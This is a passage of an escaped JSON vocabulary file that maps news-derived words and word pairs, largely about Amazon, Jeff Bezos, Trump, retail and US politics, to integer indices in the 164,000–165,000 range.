\"persisted amazon\": 164284,\n  \"licenses products\": 164285,\n  \"oppressing\": 164286,\n  \"smollett attorneys\": 164287,\n  \"message trump\": 164288,\n  \"market europe\": 164289,\n  \"hospitals colleges\": 164290,\n  \"performs verify\": 164291,\n  \"kil uber\": 164292,\n  \"buying amazon\": 164293,\n  \"advertising product\": 164294,\n  \"unique schweitzer\": 164295,\n  \"cherishing\": 164296,\n  \"power practical\": 164297,\n  \"job sponsored\": 164298,\n  \"ny state\": 164299,\n  \"provided provisions\": 164300,\n  \"linux popular\": 164301,\n  \"largest utility\": 164302,\n  \"president ocasio\": 164303,\n  \"chavez swallowed\": 164304,\n  \"latest plan\": 164305,\n  \"amazon prowess\": 164306,\n  \"new launch\": 164307,\n  \"future seasons\": 164308,\n  \"prime free\": 164309,\n  \"assimilate\": 164310,\n  \"woodley\": 164311,\n  \"behemoth larger\": 164312,\n  \"crazy conspiracy\": 164313,\n  \"allows people\": 164314,\n  \"uses technique\": 164315,\n  \"integration click\": 164316,\n  \"unfortunately john\": 164317,\n  \"perform oral\": 164318,\n  \"pharma\": 164319,\n  \"bureau reported\": 164320,\n  \"fact\": 164321,\n  \"soper gerry\": 164322,\n  \"christian organizations\": 164323,\n  \"baba new\": 164324,\n  \"chuck going\": 164325,\n  \"press gathered\": 164326,\n  \"leskin\": 164327,\n  \"store willingly\": 164328,\n  \"truly goddamn\": 164329,\n  \"blackfriday es\": 164330,\n  \"jim crow\": 164331,\n  \"approve cigna\": 164332,\n  \"life stores\": 164333,\n  \"cola apple\": 164334,\n  \"apple reading\": 164335,\n  \"charlie sykes\": 164336,\n  \"351\": 164337,\n  \"father saying\": 164338,\n  \"saocom\": 164339,\n  \"exclusive analysis\": 164340,\n  \"eternity\": 164341,\n  \"workers abroad\": 164342,\n  \"consulting early\": 164343,\n  \"diego officials\": 164344,\n  \"usps allow\": 164345,\n  \"click max\": 164346,\n  \"read lanterns\": 164347,\n  \"mistake trans\": 164348,\n  \"pullout\": 164349,\n  \"rogue american\": 164350,\n  \"certain pill\": 164351,\n  \"overall capacity\": 164352,\n  \"change package\": 164353,\n  \"tags bags\": 164354,\n  \"potter\": 164355,\n  \"bob engel\": 164356,\n  \"including content\": 164357,\n  \"single award\": 164358,\n  \"disappointing return\": 164359,\n  \"business views\": 164360,\n  \"great strength\": 164361,\n  \"russia russia\": 164362,\n  \"worth 137\": 164363,\n  \"cuny chancellor\": 164364,\n  \"couple try\": 164365,\n  \"analytica new\": 164366,\n  \"amazon jd\": 164367,\n  \"channel does\": 164368,\n  \"transformed way\": 164369,\n  \"simply hey\": 164370,\n  \"happening currently\": 164371,\n  \"locales\": 164372,\n  \"exact new\": 164373,\n  \"disney moana\": 164374,\n  \"greater grip\": 164375,\n  \"restaurant brand\": 164376,\n  \"jewish\": 164377,\n  \"bezos heart\": 164378,\n  \"screen turned\": 164379,\n  \"0207\": 164380,\n  \"increases including\": 164381,\n  \"specific economic\": 164382,\n  \"facing\": 164383,\n  \"cruz receiving\": 164384,\n  \"service spent\": 164385,\n  \"similar protests\": 164386,\n  \"maelstrom read\": 164387,\n  \"282 today\": 164388,\n  \"partisan political\": 164389,\n  \"lead money\": 164390,\n  \"struggling start\": 164391,\n  \"outlet estad\\u0103o\": 164392,\n  \"olfactory\": 164393,\n  \"immediately committed\": 164394,\n  \"beginning dec\": 164395,\n  \"112 141\": 164396,\n  \"rectify\": 164397,\n  \"allegations headlineplaintext\": 164398,\n  \"daniel acker\": 164399,\n  \"probably damaged\": 164400,\n  \"investment company\": 164401,\n  \"surgery\": 164402,\n  \"given wall\": 164403,\n  \"section 846\": 164404,\n  \"approximately 152\": 164405,\n  \"minute information\": 164406,\n  \"chase amazon\": 164407,\n  \"warranted soon\": 164408,\n  \"kabocha\": 164409,\n  \"heard democrat\": 164410,\n  \"awards toronto\": 164411,\n  \"disrupting small\": 164412,\n  \"tapaj\\u00f3s\": 164413,\n  \"behemoth costco\": 164414,\n  \"personally stand\": 164415,\n  \"ure\": 164416,\n  \"seat restaurant\": 164417,\n  \"staffing agencies\": 164418,\n  \"basic facts\": 164419,\n  \"source contract\": 164420,\n  \"china cloud\": 164421,\n  \"wondering\": 164422,\n  \"births\": 164423,\n  \"trump success\": 164424,\n  \"block store\": 164425,\n  \"leave north\": 164426,\n  \"security npr\": 164427,\n  \"today mike\": 164428,\n  \"commerce justice\": 164429,\n  \"comey sneaky\": 164430,\n  \"based groups\": 164431,\n  \"scandalous privacy\": 164432,\n  \"democrats efforts\": 164433,\n  \"sky iconimageurl\": 164434,\n  \"leen kawas\": 164435,\n  \"microsoft share\": 164436,\n  \"prodigy\": 164437,\n  \"deteriorating\": 164438,\n  \"universal\": 164439,\n  \"abiding\": 164440,\n  \"seng\": 164441,\n  \"insert malicious\": 164442,\n  \"vague\": 164443,\n  \"railroad 2016\": 164444,\n  \"twitter hit\": 164445,\n  \"powell\": 164446,\n  \"trump version\": 164447,\n  \"inevitable comparison\": 164448,\n  \"9002 bezos\": 164449,\n  \"did just\": 164450,\n  \"peeling scab\": 164451,\n  \"hangman\": 164452,\n  \"jeffs pleasingly\": 164453,\n  \"beach police\": 164454,\n  \"vans featuring\": 164455,\n  \"latest nav\": 164456,\n  \"cloud platforms\": 164457,\n  \"optum unit\": 164458,\n  \"cause google\": 164459,\n  \"term deep\": 164460,\n  \"v4 function\": 164461,\n  \"delicate\": 164462,\n  \"retailers sell\": 164463,\n  \"storming\": 164464,\n  \"industry specifically\": 164465,\n  \"scarce public\": 164466,\n  \"director alfonso\": 164467,\n  \"offshore subsidiary\": 164468,\n  \"hey send\": 164469,\n  \"taking mcdonald\": 164470,\n  \"headed hey\": 164471,\n  \"way far\": 164472,\n  \"sanders 2016\": 164473,\n  \"great recession\": 164474,\n  \"q1 2000\": 164475,\n  \"hq2 amazon\": 164476,\n  \"giovanni ferrero\": 164477,\n  \"world soon\": 164478,\n  \"irish vampire\": 164479,\n  \"heavy lifting\": 164480,\n  \"cloud walled\": 164481,\n  \"conveyor belt\": 164482,\n  \"agenda mijente\": 164483,\n  \"changing services\": 164484,\n  \"elusiveness\": 164485,\n  \"app trump\": 164486,\n  \"owen mccarthyhouse\": 164487,\n  \"reportedly vulnerable\": 164488,\n  \"treatments private\": 164489,\n  \"stocks technology\": 164490,\n  \"umbrella amazon\": 164491,\n  \"group stated\": 164492,\n  \"national writing\": 164493,\n  \"boston mainly\": 164494,\n  \"club typical\": 164495,\n  \"distribution told\": 164496,\n  \"publisher\": 164497,\n  \"drumbeat\": 164498,\n  \"important government\": 164499,\n  \"pi\\u00f1ata\": 164500,\n  \"installment\": 164501,\n  \"egregious failure\": 164502,\n  \"hope common\": 164503,\n  \"money especially\": 164504,\n  \"ways unique\": 164505,\n  \"hillside following\": 164506,\n  \"unique set\": 164507,\n  \"utilization rate\": 164508,\n  \"old car\": 164509,\n  \"piece headlined\": 164510,\n  \"supporting cast\": 164511,\n  \"doggedly investigating\": 164512,\n  \"piece today\": 164513,\n  \"evading regulatory\": 164514,\n  \"send chill\": 164515,\n  \"charitable causes\": 164516,\n  \"divorce affair\": 164517,\n  \"14th\": 164518,\n  \"trump later\": 164519,\n  \"direction metapack\": 164520,\n  \"merger centers\": 164521,\n  \"identified wide\": 164522,\n  \"weather north\": 164523,\n  \"rhys\": 164524,\n  \"l2 k8\": 164525,\n  \"action moving\": 164526,\n  \"entitled vote\": 164527,\n  \"absolutely destroy\": 164528,\n  \"uniform legislative\": 164529,\n  \"tailer does\": 164530,\n  \"works\": 164531,\n  \"governments putting\": 164532,\n  \"public empire\": 164533,\n  \"probe virginia\": 164534,\n  \"britain emirates\": 164535,\n  \"amazon facebook\": 164536,\n  \"wiggles\": 164537,\n  \"blackfridaysinamazon comienza\": 164538,\n  \"teaching materials\": 164539,\n  \"surprisingly enjoyable\": 164540,\n  \"people taking\": 164541,\n  \"twitter maxgarlandtypes\": 164542,\n  \"enforcement agency\": 164543,\n  \"cross bay\": 164544,\n  \"riding unicorn\": 164545,\n  \"senior class\": 164546,\n  \"us27\": 164547,\n  \"unintentionally forging\": 164548,\n  \"seek\": 164549,\n  \"100 billion\": 164550,\n  \"entitled epa\": 164551,\n  \"startling claims\": 164552,\n  \"seattle mussel\": 164553,\n  \"general elevated\": 164554,\n  \"change mining\": 164555,\n  \"quickly murdoch\": 164556,\n  \"crowd erupted\": 164557,\n  \"parked outside\": 164558,\n  \"original stories\": 164559,\n  \"interdiction litigation\": 164560,\n  \"published letter\": 164561,\n  \"index fund\": 164562,\n  \"equality diversity\": 164563,\n  \"development incentives\": 164564,\n  \"colossal political\": 164565,\n  \"products brands\": 164566,\n  \"compliant mainstream\": 164567,\n  \"tal yguado\": 164568,\n  \"overtook microsoft\": 164569,\n  \"triple threaded\": 164570,\n  \"criticized\": 164571,\n  \"3rd party\": 164572,\n  \"r4ee d4e\": 164573,\n  \"angl\\u00e8s\": 164574,\n  \"remain just\": 164575,\n  \"young marks\": 164576,\n  \"post responsibilities\": 164577,\n  \"jerome_corsi\": 164578,\n  \"2018 memorial\": 164579,\n  \"notice amazon\": 164580,\n  \"alzheimer posted\": 164581,\n  \"government complicit\": 164582,\n  \"kim summit\": 164583,\n  \"feature prominently\": 164584,\n  \"turbulence markets\": 164585,\n  \"chris martin\": 164586,\n  \"saying strong\": 164587,\n  \"sister site\": 164588,\n  \"bearing scythes\": 164589,\n  \"latest revelation\": 164590,\n  \"concerns amazon\": 164591,\n  \"mockery bernie\": 164592,\n  \"jump 100\": 164593,\n  \"seeded\": 164594,\n  \"seduce\": 164595,\n  \"retailers microsoft\": 164596,\n  \"year pulling\": 164597,\n  \"anger include\": 164598,\n  \"stelter brianstelter\": 164599,\n  \"reversion indicator\": 164600,\n  \"standards including\": 164601,\n  \"details michael\": 164602,\n  \"w8\": 164603,\n  \"walmart responded\": 164604,\n  \"small retailers\": 164605,\n  \"harms\": 164606,\n  \"sneering demons\": 164607,\n  \"cable news\": 164608,\n  \"separate potential\": 164609,\n  \"federal fund\": 164610,\n  \"ago tascent\": 164611,\n  \"book prices\": 164612,\n  \"today mathew\": 164613,\n  \"consumers easy\": 164614,\n  \"employees finds\": 164615,\n  \"growing restaurant\": 164616,\n  \"registry uses\": 164617,\n  \"novelty items\": 164618,\n  \"making buffett\": 164619,\n  \"data report\": 164620,\n  \"hq2s fro\": 164621,\n  \"campus fence\": 164622,\n  \"starr\": 164623,\n  \"offseason\": 164624,\n  \"simultaneously believes\": 164625,\n  \"ragtag\": 164626,\n  \"shows including\": 164627,\n  \"kinsey\": 164628,\n  \"jamarlin martin\": 164629,\n  \"mature pay\": 164630,\n  \"brand earnings\": 164631,\n  \"mahindra\": 164632,\n  \"ryan source\": 164633,\n  \"sinclair plans\": 164634,\n  \"coordinating\": 164635,\n  \"view local\": 164636,\n  \"postage stamps\": 164637,\n  \"false inc_lock_articleflag\": 164638,\n  \"quashing faux\": 164639,\n  \"expired plan\": 164640,\n  \"world industries\": 164641,\n  \"scandal russia\": 164642,\n  \"cole bloomberg\": 164643,\n  \"similar contracts\": 164644,\n  \"mild\": 164645,\n  \"agribusiness possibilities\": 164646,\n  \"gmt updated\": 164647,\n  \"fears border\": 164648,\n  \"1289121590 o1a\": 164649,\n  \"promised diana\": 164650,\n  \"admit\": 164651,\n  \"digit effective\": 164652,\n  \"unnoticed\": 164653,\n  \"recruitment brochure\": 164654,\n  \"375 amazon\": 164655,\n  \"mandatory recount\": 164656,\n  \"luxury products\": 164657,\n  \"suit red\": 164658,\n  \"dan bongino\": 164659,\n  \"reinvestment\": 164660,\n  \"used information\": 164661,\n  \"tax notices\": 164662,\n  \"2018 graham\": 164663,\n  \"bell today\": 164664,\n  \"boom photo\": 164665,\n  \"tennis match\": 164666,\n  \"look different\": 164667,\n  \"wonderful life\": 164668,\n  \"foia suit\": 164669,\n  \"style alex\": 164670,\n  \"broader challenges\": 164671,\n  \"m1 a4ee\": 164672,\n  \"cannabinoid manufacturing\": 164673,\n  \"copyright law\": 164674,\n  \"latest thinking\": 164675,\n  \"confronting climate\": 164676,\n  \"old statutory\": 164677,\n  \"amazon kohl\": 164678,\n  \"personal software\": 164679,\n  \"kaitlyn\": 164680,\n  \"assets include\": 164681,\n  \"000 jobs\": 164682,\n  \"2019 2018\": 164683,\n  \"proud team\": 164684,\n  \"extensive relationship\": 164685,\n  \"direct community\": 164686,\n  \"matt gardner\": 164687,\n  \"hotly anticipated\": 164688,\n  \"torv\": 164689,\n  \"comedy program\": 164690,\n  \"bring companies\": 164691,\n  \"prof\": 164692,\n  \"suffers tyson\": 164693,\n  \"cia drone\": 164694,\n  \"proposed nafta\": 164695,\n  \"kalon\": 164696,\n  \"prohibit certain\": 164697,\n  \"herera nvidia\": 164698,\n  \"commerce services\": 164699,\n  \"investigation alphabet\": 164700,\n  \"empowered nation\": 164701,\n  \"loses aaron\": 164702,\n  \"cnn host\": 164703,\n  \"mail carrier\": 164704,\n  \"face test\": 164705,\n  \"sofie whitney\": 164706,\n  \"placements\": 164707,\n  \"microsoft health\": 164708,\n  \"schatz hawaii\": 164709,\n  \"israelis want\": 164710,\n  \"googleplay\": 164711,\n  \"publishers prime\": 164712,\n  \"frequent\": 164713,\n  \"troubling scheme\": 164714,\n  \"assume\": 164715,\n  \"local coffee\": 164716,\n  \"brown bobby\": 164717,\n  \"raise antitrust\": 164718,\n  \"chan net\": 164719,\n  \"s0 defineproperty\": 164720,\n  \"join host\": 164721,\n  \"fed higher\": 164722,\n  \"member world\": 164723,\n  \"order requiring\": 164724,\n  \"bruising work\": 164725,\n  \"told leskin\": 164726,\n  \"global brain\": 164727,\n  \"intermediate wti\": 164728,\n  \"broad coalition\": 164729,\n  \"people confirmed\": 164730,\n  \"lawless\": 164731,\n  \"wuerker\": 164732,\n  \"q8\": 164733,\n  \"warfare time\": 164734,\n  \"ainsley credits\": 164735,\n  \"members received\": 164736,\n  \"justin hammack\": 164737,\n  \"republicans jeff\": 164738,\n  \"powerful compounding\": 164739,\n  \"mismatching\": 164740,\n  \"free pdf\": 164741,\n  \"person closely\": 164742,\n  \"goings\": 164743,\n  \"theresa\": 164744,\n  \"media expertise\": 164745,\n  \"wanted washer\": 164746,\n  \"import lobby\": 164747,\n  \"particularly cognizant\": 164748,\n  \"democracy forum\": 164749,\n  \"reportedly wounded\": 164750,\n  \"consider ford\": 164751,\n  \"talley talks\": 164752,\n  \"knuckleheads\": 164753,\n  \"program toanother\": 164754,\n  \"second leaders\": 164755,\n  \"creators\": 164756,\n  \"nicolas maduro\": 164757,\n  \"speed read\": 164758,\n  \"hbo schiff\": 164759,\n  \"benjamin\": 164760,\n  \"wait times\": 164761,\n  \"flawed\": 164762,\n  \"medium flat\": 164763,\n  \"industrial stocks\": 164764,\n  \"000 voters\": 164765,\n  \"week daimler\": 164766,\n  \"haughty holier\": 164767,\n  \"subjective\": 164768,\n  \"upside zacks\": 164769,\n  \"organization don\": 164770,\n  \"storage boxes\": 164771,\n  \"400 wapo\": 164772,\n  \"build strength\": 164773,\n  \"high dudgeon\": 164774,\n  \"implicating\": 164775,\n  \"plays ryan\": 164776,\n  \"116 shares\": 164777,\n  \"intend\": 164778,\n  \"certainly shorted\": 164779,\n  \"amazon version\": 164780,\n  \"gunshot thought\": 164781,\n  \"3647\": 164782,\n  \"vaccines right\": 164783,\n  \"kormann star\": 164784,\n  \"day revenue\": 164785,\n  \"cloud applications\": 164786,\n  \"using naloxone\": 164787,\n  \"pass reasonable\": 164788,\n  \"potential including\": 164789,\n  \"forestland\": 164790,\n  \"studies 400\": 164791,\n  \"company retail\": 164792,\n  \"bozzella\": 164793,\n  \"focus needs\": 164794,\n  \"amazon approach\": 164795,\n  \"law center\": 164796,\n  \"congregation split\": 164797,\n  \"pic twitter\": 164798,\n  \"inbev\": 164799,\n  \"assists\": 164800,\n  \"ijr\": 164801,\n  \"site bittorrent\": 164802,\n  \"jill colvin\": 164803,\n  \"inbetween times\": 164804,\n  \"ecommerce companies\": 164805,\n  \"assumes bezos\": 164806,\n  \"underlying legal\": 164807,\n  \"message allegedly\": 164808,\n  \"booker harris\": 164809,\n  \"happy prospect\": 164810,\n  \"using presidential\": 164811,\n  \"major critics\": 164812,\n  \"caused amazon\": 164813,\n  \"greek mythology\": 164814,\n  \"preparation\": 164815,\n  \"crises took\": 164816,\n  \"expressed concern\": 164817,\n  \"trump crusade\": 164818,\n  \"meetings according\": 164819,\n  \"house gop\": 164820,\n  \"moana costume\": 164821,\n  \"abish matthew\": 164822,\n  \"entrenching\": 164823,\n  \"liat sadler\": 164824,\n  \"idyllic faraway\": 164825,\n  \"boldly\": 164826,\n  \"opens probe\": 164827,\n  \"michael kovac\": 164828,\n  \"started pointing\": 164829,\n  \"immediate horizon\": 164830,\n  \"deal likelihood\": 164831,\n  \"way stuart\": 164832,\n  \"image 1940x900\": 164833,\n  \"bridis\": 164834,\n  \"opinion 2018\": 164835,\n  \"diverse cities\": 164836,\n  \"flores\": 164837,\n  \"scotland job\": 164838,\n  \"stable\": 164839,\n  \"krystalh\": 164840,\n  \"riddled usps\": 164841,\n  \"distribute especially\": 164842,\n  \"delivery quickly\": 164843,\n  \"hacking bezos\": 164844,\n  \"god gratitude\": 164845,\n  \"starring harrison\": 164846,\n  \"seen write\": 164847,\n  \"eliminating plastic\": 164848,\n  \"pays individuals\": 164849,\n  \"hates bezos\": 164850,\n  \"bookerly typeface\": 164851,\n  \"start moving\": 164852,\n  \"curb corporate\": 164853,\n  \"hit new\": 164854,\n  \"tennessee echos\": 164855,\n  \"onstage antics\": 164856,\n  \"ideas bezos\": 164857,\n  \"unfruitful\": 164858,\n  \"obama efforts\": 164859,\n  \"trump elected\": 164860,\n  \"000 bartiromo\": 164861,\n  \"zuckerberg share\": 164862,\n  \"skyrocketing upside\": 164863,\n  \"militias\": 164864,\n  \"daintiest possible\": 164865,\n  \"inconsolable\": 164866,\n  \"tale sonyliv\": 164867,\n  \"dc amazon\": 164868,\n  \"highest bidder\": 164869,\n  \"shipments midas\": 164870,\n  \"guidelines passed\": 164871,\n  \"organs\": 164872,\n  \"oppose harm\": 164873,\n  \"columnist meta_description\": 164874,\n  \"music accordingly\": 164875,\n  \"affairs experts\": 164876,\n  \"unveiled prototype\": 164877,\n  \"entities today\": 164878,\n  \"aeronautics\": 164879,\n  \"bond\": 164880,\n  \"twitter fight\": 164881,\n  \"reliably access\": 164882,\n  \"shira\": 164883,\n  \"violations trump\": 164884,\n  \"questions amazon\": 164885,\n  \"nyclu\": 164886,\n  \"billion read\": 164887,\n  \"emergency based\": 164888,\n  \"enquirer reported\": 164889,\n  \"news sputnik\": 164890,\n  \"court review\": 164891,\n  \"financial picture\": 164892,\n  \"reintegrate\": 164893,\n  \"europe 44871788\": 164894,\n  \"green president\": 164895,\n  \"home business\": 164896,\n  \"district democrats\": 164897,\n  \"office woes\": 164898,\n  \"sun fighbird\": 164899,\n  \"lies amazon\": 164900,\n  \"archila\": 164901,\n  \"unauthorized retailers\": 164902,\n  \"orderly\": 164903,\n  \"13022228 r4ee\": 164904,\n  \"trump sarcastically\": 164905,\n  \"smbs succeed\": 164906,\n  \"planet world\": 164907,\n  \"today investors\": 164908,\n  \"trump escalating\": 164909,\n  \"traditionalists\": 164910,\n  \"compromising\": 164911,\n  \"burnout\": 164912,\n  \"petition started\": 164913,\n  \"collaborator\": 164914,\n  \"letter reflects\": 164915,\n  \"1733807302 ppb\": 164916,\n  \"china england\": 164917,\n  \"conservative estimates\": 164918,\n  \"damning text\": 164919,\n  \"drug lords\": 164920,\n  \"strapped according\": 164921,\n  \"world reports\": 164922,\n  \"verb\": 164923,\n  \"episodes taking\": 164924,\n  \"federal candidates\": 164925,\n  \"underscoring\": 164926,\n  \"testing markets\": 164927,\n  \"finds center\": 164928,\n  \"biggest threats\": 164929,\n  \"latest ratings\": 164930,\n  \"efficient flex\": 164931,\n  \"voting reforms\": 164932,\n  \"title leaves\": 164933,\n  \"virginia justin\": 164934,\n  \"741 shares\": 164935,\n  \"group matt\": 164936,\n  \"rawstory\": 164937,\n  \"run prime\": 164938,\n  \"trolling president\": 164939,\n  \"strict stiff\": 164940,\n  \"economic outlook\": 164941,\n  \"conniver\": 164942,\n  \"identity\": 164943,\n  \"remain spanning\": 164944,\n  \"health service\": 164945,\n  \"pose variations\": 164946,\n  \"trump orbit\": 164947,\n  \"travel game\": 164948,\n  \"threat contending\": 164949,\n  \"michael gianari\": 164950,\n  \"nrgi\": 164951,\n  \"financial maneuvers\": 164952,\n  \"analyst estimate\": 164953,\n  \"tweet recently\": 164954,\n  \"mutual life\": 164955,\n  \"dryden pence\": 164956,\n  \"departing\": 164957,\n  \"251 657\": 164958,\n  \"dirty dossier\": 164959,\n  \"just prior\": 164960,\n  \"tonight starbucks\": 164961,\n  \"launch bid\": 164962,\n  \"includes private\": 164963,\n  \"biometric surveillance\": 164964,\n  \"coastline indigenous\": 164965,\n  \"post created\": 164966,\n  \"frequently\": 164967,\n  \"banter\": 164968,\n  \"lost big\": 164969,\n  \"sex activities\": 164970,\n  \"regard known\": 164971,\n  \"amazon continues\": 164972,\n  \"google profit\": 164973,\n  \"blame competition\": 164974,\n  \"irbesartan\": 164975,\n  \"personal dealingswith\": 164976,\n  \"source danny\": 164977,\n  \"adno\": 164978,\n  \"president regardless\": 164979,\n  \"releases\": 164980,\n  \"behavioral\": 164981,\n  \"greater access\": 164982,\n  \"transparent\": 164983,\n  \"judge asks\": 164984,\n  \"higher currency\": 164985,\n  \"mehlman\": 164986,\n  \"child labor\": 164987,\n  \"twitter democrat\": 164988,\n  \"corner prime\": 164989,\n  \"alleged deep\": 164990,\n  \"warmly received\": 164991,\n  \"pentagon allegiance\": 164992,\n  \"great return\": 164993,\n  \"oklahoma city\": 164994,\n  \"jassy\": 164995,\n  \"shopping times\": 164996,\n  \"ministry added\": 164997,\n  \"hulk hogan\": 164998,\n  \"ms sanchez\": 164999,\n  \"devils\": 165000,\n  \"final notes\": 165001,\n  \"innately overvalued\": 165002,\n  \"queens\": 165003,\n  \"congress sense\": 165004,\n  \"faithful\": 165005,\n  \"vivid world\": 165006,\n  \"early fall\": 165007,\n  \"addabbo veteran\": 165008,\n  \"claire adam\": 165009,\n  \"statutes involving\": 165010,\n  \"bonwit\": 165011,\n  \"actual deliveries\": 165012,\n  \"naloxone families\": 165013,\n  \"player clear\": 165014,\n  \"workers apply\": 165015,\n  \"consumer spend\": 165016,\n  \"clip wasn\": 165017,\n  \"maintain composure\": 165018,\n  \"wealth quality\": 165019,\n  \"house smelling\": 165020,\n  \"ibm hots\": 165021,\n  \"federal regulatory\": 165022,\n  \"mean right\": 165023,\n  \"hardly strong\": 165024,\n  \"technology drawn\": 165025,\n  \"amid unconfirmed\": 165026,\n  \"sector leaders\": 165027,\n  \"branded amazon\": 165028,\n  \"organizations stay\": 165029,\n  \"online small\": 165030,\n  \"vendor ceo\": 165031,\n  \"heavily favor\": 165032,\n  \"simulation\": 165033,\n  \"1510et\": 165034,\n  \"published series\": 165035,\n  \"questioned amazon\": 165036,\n  \"company simply\": 165037,\n  \"digital health\": 165038,\n  \"return abuse\": 165039,\n  \"spambots\": 165040,\n  \"maziarz\": 165041,\n  \"undocublack network\": 165042,\n  \"subversive\": 165043,\n  \"dc photo\": 165044,\n  \"people died\": 165045,\n  \"technical support\": 165046,\n  \"pay internet\": 165047,\n  \"apparent blackmail\": 165048,\n  \"2006 aws\": 165049,\n  \"voice literally\": 165050,\n  \"amazon labour\": 165051,\n  \"trade truce\": 165052,\n  \"council transportation\": 165053,\n  \"event pitting\": 165054,\n  \"cnn nathaniel\": 165055,\n  \"amzn baxter\": 165056,\n  \"undisciplined\": 165057,\n  \"acknowledged traffic\": 165058,\n  \"illegal just\": 165059,\n  \"manipulate\": 165060,\n  \"bob bryan\": 165061,\n  \"players kneeling\": 165062,\n  \"pressuring company\": 165063,\n  \"bezos main\": 165064,\n  \"valued assets\": 165065,\n  \"world great\": 165066,\n  \"nearly doubled\": 165067,\n  \"computing power\": 165068,\n  \"increase politicians\": 165069,\n  \"conclusions used\": 165070,\n  \"treats property\": 165071,\n  \"funding\": 165072,\n  \"bradlander\": 165073,\n  \"family dynamics\": 165074,\n  \"bezos recorded\": 165075,\n  \"sit alongside\": 165076,\n  \"powerful companies\": 165077,\n  \"islamic terrorist\": 165078,\n  \"market fx\": 165079,\n  \"shipping qanon\": 165080,\n  \"northland securities\": 165081,\n  \"availed\": 165082,\n  \"lucy awards\": 165083,\n  \"season promising\": 165084,\n  \"skip steps\": 165085,\n  \"meantime\": 165086,\n  \"climb\": 165087,\n  \"upstart website\": 165088,\n  \"trump advances\": 165089,\n  \"amazon teamed\": 165090,\n  \"public parallel\": 165091,\n  \"virgil\": 165092,\n  \"terms ofthe\": 165093,\n  \"billionto\": 165094,\n  \"weibo post\": 165095,\n  \"negated wage\": 165096,\n  \"personal embarrass\": 165097,\n  \"longtime warehouse\": 165098,\n  \"65bn\": 165099,\n  \"day possibly\": 165100,\n  \"book publishers\": 165101,\n  \"new neighbor\": 165102,\n  \"impacting 2019\": 165103,\n  \"claustrophobic nightmare\": 165104,\n  \"signs point\": 165105,\n  \"lose billions\": 165106,\n  \"taken months\": 165107,\n  \"documents published\": 165108,\n  \"kenmeyer91\": 165109,\n  \"posted gains\": 165110,\n  \"higher standard\": 165111,\n  \"candidate bernie\": 165112,\n  \"barr scott\": 165113,\n  \"including jet\": 165114,\n  \"divorce political\": 165115,\n  \"abramowitz refused\": 165116,\n  \"writer yevgeny\": 165117,\n  \"cyber security\": 165118,\n  \"max jets\": 165119,\n  \"printed version\": 165120,\n  \"restaurant start\": 165121,\n  \"book grant\": 165122,\n  \"500 stores\": 165123,\n  \"amzn ceo\": 165124,\n  \"washington regions\": 165125,\n  \"students just\": 165126,\n  \"series batwoman\": 165127,\n  \"towels\": 165128,\n  \"best alternative\": 165129,\n  \"anti people\": 165130,\n  \"blige\": 165131,\n  \"volume periods\": 165132,\n  \"viewer noted\": 165133,\n  \"brantley mar\": 165134,\n  \"prosecutors bebest\": 165135,\n  \"butterball turkey\": 165136,\n  \"overall victory\": 165137,\n  \"sales half\": 165138,\n  \"owner ends\": 165139,\n  \"consumers cite\": 165140,\n  \"ex couple\": 165141,\n  \"public image\": 165142,\n  \"investigation looks\": 165143,\n  \"amazon fantastical\": 165144,\n  \"workers depend\": 165145,\n  \"eulogy\": 165146,\n  \"people david\": 165147,\n  \"brant lhin\": 165148,\n  \"daddy\": 165149,\n  \"tough questioning\": 165150,\n  \"york don\": 165151,\n  \"medium term\": 165152,\n  \"hutton\": 165153,\n  \"study inside\": 165154,\n  \"triple digits\": 165155,\n  \"continually\": 165156,\n  \"advisory services\": 165157,\n  \"represents upside\": 165158,\n  \"appeared set\": 165159,\n  \"content keir\": 165160,\n  \"circumvent potential\": 165161,\n  \"concern versus\": 165162,\n  \"union line\": 165163,\n  \"correct actors\": 165164,\n  \"power lunch\": 165165,\n  \"help crony\": 165166,\n  \"nbc midterms\": 165167,\n  \"2741a sponsored\": 165168,\n  \"asia stocks\": 165169,\n  \"cellphone covers\": 165170,\n  \"famously clandestine\": 165171,\n  \"cashing\": 165172,\n  \"directly responsible\": 165173,\n  \"building warehouses\": 165174,\n  \"lehman\": 165175,\n  \"illustrated jake\": 165176,\n  \"gadsby self\": 165177,\n  \"brooker\": 165178,\n  \"rattling nerves\": 165179,\n  \"pop similar\": 165180,\n  \"amazon soy\": 165181,\n  \"periodically box\": 165182,\n  \"billion respectively\": 165183,\n  \"jefferson jeff\": 165184,\n  \"puerini\": 165185,\n  \"foods basket\": 165186,\n  \"christmasiscoming\": 165187,\n  \"potential support\": 165188,\n  \"adoring\": 165189,\n  \"fordham law\": 165190,\n  \"prominent amazon\": 165191,\n  \"encourage job\": 165192,\n  \"help merchants\": 165193,\n  \"deals online\": 165194,\n  \"obsessed\": 165195,\n  \"disarray\": 165196,\n  \"agrochemicals amazon\": 165197,\n  \"kosher ways\": 165198,\n  \"fred lewis\": 165199,\n  \"dive sister\": 165200,\n  \"unusual creature\": 165201,\n  \"anew bourdain\": 165202,\n  \"collateral damage\": 165203,\n  \"destroyed artwork\": 165204,\n  \"fickling italy\": 165205,\n  \"plunging ahead\": 165206,\n  \"resolving\": 165207,\n  \"report greenpeace\": 165208,\n  \"data access\": 165209,\n  \"seattle socialist\": 165210,\n  \"blemish\": 165211,\n  \"2018 eat\": 165212,\n  \"arancha gonzalez\": 165213,\n  \"cost 500\": 165214,\n  \"elaborate fbi\": 165215,\n  \"server prior\": 165216,\n  \"bank announces\": 165217,\n  \"combatting counterfeit\": 165218,\n  \"latest developments\": 165219,\n  \"yi told\": 165220,\n  \"quite open\": 165221,\n  \"relations trump\": 165222,\n  \"fusion\": 165223,\n  \"councilmember costa\": 165224,\n  \"union bank\": 165225,\n  \"ballots according\": 165226,\n  \"ton\": 165227,\n  \"bob corker\": 165228,\n  \"reports cnbc\": 165229,\n  \"l1313\": 165230,\n  \"skilled tech\": 165231,\n  \"100 women\": 165232,\n  \"ancestors\": 165233,\n  \"imports endanger\": 165234,\n  \"elected office\": 165235,\n  \"certain company\": 165236,\n  \"major problems\": 165237,\n  \"prime selection\": 165238,\n  \"skift\": 165239,\n  \"avoid levies\": 165240,\n  \"s\\u00e9\": 165241,\n  \"president struggles\": 165242,\n  \"macos\": 165243,\n  \"worth 10bn\": 165244,\n  \"2016 wholesale\": 165245,\n  \"heard argument\": 165246,\n  \"discuss proposal\": 165247,\n  \"sitting presidents\": 165248,\n  \"endless litigation\": 165249,\n  \"market sorry\": 165250,\n  \"bezos father\": 165251,\n  \"iphone amazon\": 165252,\n  \"reckless attacks\": 165253,\n  \"hardware store\": 165254,\n  \"president fight\": 165255,\n  \"tuition 